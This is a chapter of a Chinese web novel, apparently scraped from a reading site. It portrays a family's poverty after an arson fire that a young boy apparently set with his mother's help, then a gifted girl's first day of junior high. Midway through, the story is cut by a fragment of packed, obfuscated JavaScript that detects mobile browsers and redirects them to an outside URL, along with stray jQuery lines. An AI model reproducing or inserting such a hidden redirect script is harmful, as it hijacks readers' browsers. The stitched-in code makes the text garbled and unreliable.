灰暗，逼仄，在断续明灭的光线中，曲让尘推开房门。
不到三十平的空间里，墙皮早已经斑驳剥落，露出内里坑洼不平的水泥，上面各种经年的污渍重叠，已经看不出来是什么。
在火灾之后，四号楼的房间不能再住人，厂里考虑到曲家一个瘫子一个残疾，给他们重新分配了一个一楼的房子，在一号楼。
一号楼是家属楼中最老的一栋，三十年前建成，楼层低矮，内部昏暗，墙皮大面积的脱落，或许是因为建在排污口附近，总有一种不知道从哪里来的潮湿臭味。
这里之前的住户中，有门路有资历的老工人，早就分配了新的改善房，剩下的，全是安静在这里自生自灭的老弱病残。
老曲想抗议，但他现在只有一条腿，脸上手上都是骇人的烧伤疤痕，临出门之前，他拄着拐杖，面对镜子呆站了很久很久，还是没有迈出去门框。
从那之后，老曲就极少出门。
曲让尘暗自为搬家难过许久，但想到闵朝言终于可以安静地在晚上睡觉了，他又觉得，这实在是最好的事。
他现在已经不再称呼闵朝言为洋娃娃，因为他跑去商场外边去看过真正的“洋娃娃”。
在因为衣衫褴褛被保安挥舞着电棍赶走的时候，曲让尘心里只有一个想法：
洋娃娃这个词，根本配不上闵朝言。
曲让尘现在偷偷叫她公主。
他不敢让闵朝言听见，因为她不喜欢这个称呼。
“回来了。”
常姐没看曲让尘。
曲老大嫌弃两个残废的臭味，前年就搬了出去。当年火灾发生的那天，他非常幸运地要上夜晚，没有在家。
曲让尘时常后悔这一点。
“你先吃饭，然后给你哥喂饭吧。”
常姐站在灶台边上说。
狭窄的房子里，不能同时放下病号床和餐桌。这很好，因为曲家根本买不起餐桌，他们曾经拥有的一切都在火焰中化作灰烬。
曲让尘没说话，点点头，站在灶台边上，拿起已经破了口的搪瓷碗就往嘴里扒饭。
一大碗糙米粥，配上半个咸鸭蛋和半个已经被放干的馒头，这是一顿还不错的饭，毕竟有蛋呢。
大部分时候，他只能吃半个干馒头配两口榨菜。
常姐自己吃的也是一样。
曲让尘吃完，抹一把嘴，拿起搪瓷碗再盛一碗粥，往角落里走去。
室内最角落，靠厕所的地方挂着一张很旧了的白帘，把三十平的室内勉强割成两个空间。
帘子后面，就是曲老三的病床了。
说是病床，其实就是一张铁架子床，垫高了枕头，让他不至于每天都平躺着。
“?%……——）@！！”
曲老三只有半截舌头，本来就说不出话，只能野兽一样从喉咙里顶出嘶吼的怒音。
三年前的火灾里，他是受伤最严重的那个。
醉倒的老曲在厨房，他被烧醒之后马上就开水龙头往自己身上冲。常姐抱着曲让尘躲在厕所，也是用水龙头把两个人浇得透透的。
只有当天刚从医院被接回来的曲老三，眼见着火烧到自己的，却因为双腿被打了石膏跑不了，他挣扎着从床上爬下来，拖着自己的两条腿，拼了命向门口爬行。
然后，然后……
然后，他就看见了。
刷——帘子被拉开，曲让尘端着碗走进来。
“哥，吃饭了。”
他坐在曲老三床边。
他双手将碗放在曲老三面前，没有喂，也没有说话。
曲老三的眼睛瞪大，眼白中红血丝近乎爆裂，他只剩半截的舌头颤抖。
忽然！他低下头，将整张脸埋进碗里，像饥饿的家猪一样疯狂地吞食，搪瓷碗里发出呼噜呼噜的声音，曲老三将一碗糙米粥囫囵吞下肚，脸上满是粥液和米粒，双眼无神。
“*&……”
吃完了。
“哥，你吃得很好。”
曲让尘双手捧着碗，声音里有小小的赞叹，他的眼睛里，有闪亮的快乐。
曲老三的瞳仁颤抖着，缓缓看向曲让尘。
“*&^IU&……”
是你，都是你，一切都是因为你才会这样的。
大家都说，三年前那场火，是因为老曲喝多了，他烧水洗澡之后，忘了关炉子。
可曲老三知道。
他当时腿疼得厉害，一晚上没睡着，他一直睁着眼睛。
老曲关了火，他是那样一个吝啬鬼，连喝醉了都会记得省燃气。
是曲让尘，曲让尘点着了炉子，然后烧了房子！！！
曲老三在地上往外爬时，能感受到自己的皮肤被一点点烧化，在灼热的空气中，他觉得自己要被烧成一堆灰了！
曲让尘一身湿透，站在厕所的门里，就这样，对他笑了。
看着他扭曲折断的双腿，血肉糜烂的皮肤，
快活的，灿烂的，
笑着。
“@#%妈——！妈*&&——！”
在破碎颠倒的嘶吼中，曲老三哀嚎出唯一一个他能吐出的字眼。
妈！
你明明看到了一切，你明明知道一切！
为什么？为什么不说出真相？为什么看着他被这个小崽子折磨？！
妈——！
妈——！！！
常姐站在水池边上，用一块陈年的抹布缓缓擦着碗。
她听见了帘子后面的哀嚎声，动作短暂地静止，她的睫毛颤抖了两下，随后，她低下头，很慢很慢地眨了眨眼。
曲老三看错了。
三年前，五岁且因为长期营养不良身高矮小的曲让尘，在数次尝试之后，并没有成功点燃炉子里的火。
好在，
有一个愿意帮助他的人，就站在旁边。
-
九月一日，九岁的闵朝言成为了一名初一学生。
开学的第一天很烦。
因为她是班上最小的学生，老师安排她坐在第一排，一整节课，不仅仅是老师，还有所有同学都在看她这个连跳两级的“小天才”。
下课之后，更是所有人都围到她身边，窃窃私语着什么。
闵朝言讨厌这种注视，她觉得自己被当成了某种用于展示的动物。
她面色阴沉地不断按着圆珠笔的笔头，蓝色的墨水在纸上留下杂乱的线条。
“好了，看什么看？你们还是小孩子吗？这么幼稚！”
一个声音刺破空气，手臂上带着袖章的男孩走了过来。
他个子很高，最少有一米七，在初一学生中，这已经是很有威慑力的体格。
“谁看了，我们就是走过来而已，真烦。”
有学生小声嘟囔着。
但大部分学生似乎还是不敢不听他的话，默默散开了。
闵朝言终于摆脱“稀有动物展示中”的标签，脸色稍微好看了一点，圆珠笔被快速按动的声音逐渐停止。
“抱歉，听说有一个年纪很小的跳级生，大家都很好奇，所以有点太兴奋了。你还好吗？”
男生在闵朝言桌前站着，语气很关切。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672447|182368||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“我是班长，隋觉荆，以后如果你有任何需要的地方，都可以来找我，我会帮你的。”
他对着闵朝言露出一个大大的笑脸。
闵朝言看了他一会儿，没什么表情，低下头，从课桌洞里拿出来一个东西递给他。
“这是？”
隋觉荆伸手接过。
是一颗橘子软糖。
“谢谢你。”
闵朝言说。
隋觉荆神色一顿，忽然露出一个很灿烂的笑容，还有点不好意思地挠了挠耳朵：
“这个，我是班长嘛，应该的，不客气。”
“我以为你会是脾气很不好的人呢，电视里天才不是都这样吗？没想到你这么好相处。”
他笑着说。
闵朝言也对他露出一点笑意，眨了眨眼睛：
“我对那些围观我的人脾气不好，但是你帮了我啊。”
“我们可以做朋友，我会给你带糖。”
她说。
“可是我比你大三岁呢，我应该做你哥哥呀。”
隋觉荆说。
“但是我们是同学，同学之间更应该做朋友。”
闵朝言一本正经。
“好，我们做朋友！”
隋觉荆露出一口大白牙，很认真地回答。
接下来的一天，隋觉荆充分尽到了“班长”和“朋友”的职责，他驱赶了好几次那些上来围观闵朝言的学生，老师看到他这样热心，干脆让他调座位到了闵朝言旁边。
初中都是单人单桌的，他算是闵朝言的“过道同桌”。
“我会保护你的！”
隋觉荆握紧拳头，对闵朝言承诺。
闵朝言默默扭回头，有种看到一只大狗正在疯狂摇尾巴展示自己的错觉。
因为是第一天上初中，放学之后，闵长风来接女儿回家。
她最近常常工作到很晚，脸色总是不好，有时是愧疚，有时是疲倦。闵朝言不知道这些情绪从何而来，只是每看到母亲这样时，心中总有种无力感涌出。
这种无力，
让她想要快些长大，成为至少能够理解母亲的大人。
“言言，开学第一天怎么样？会不会紧张？有认识有趣的人吗？”
闵长风牵着女儿的手走在路上，语气里有些紧张。
她内心是不赞成闵朝言跳级的，学校也并非完全是只有欢乐和童真的地方，一个比同龄人小很多的聪明孩子，有时遭遇的可能不仅仅是崇拜，还有排挤。
但在彻夜思索之后，闵长风还是尊重了女儿的决定。
她知道自己生了一个多聪明早熟的女儿，让一个聪明的孩子不断压抑自己的天分，和性格能力都远逊于自己的同龄人相处，就一定是更好的吗？
闵长风想，或许也并非如此。
“一开始有点烦，很多人来看我，不过我交了一个很有用的朋友，他会帮助我。”
闵朝言回答。
“有用的？”
闵长风有些惊讶于这个形容词。
“嗯，很有用，个子也很高，会帮我拿东西。”
闵朝言回答。
“这个形容很有意思。”
闵长风笑了一声。
“嗯，我有给我买东西的朋友，陪我玩的朋友，和我一样奇怪的朋友，一个很可爱的宠物，现在还有一个有用的朋友。”
闵朝言认真数数。
她有五个朋友，而且每个人的作用都各有长处，真是非常完美的搭配。
“我很会交朋友的。”
闵朝言自信地点头。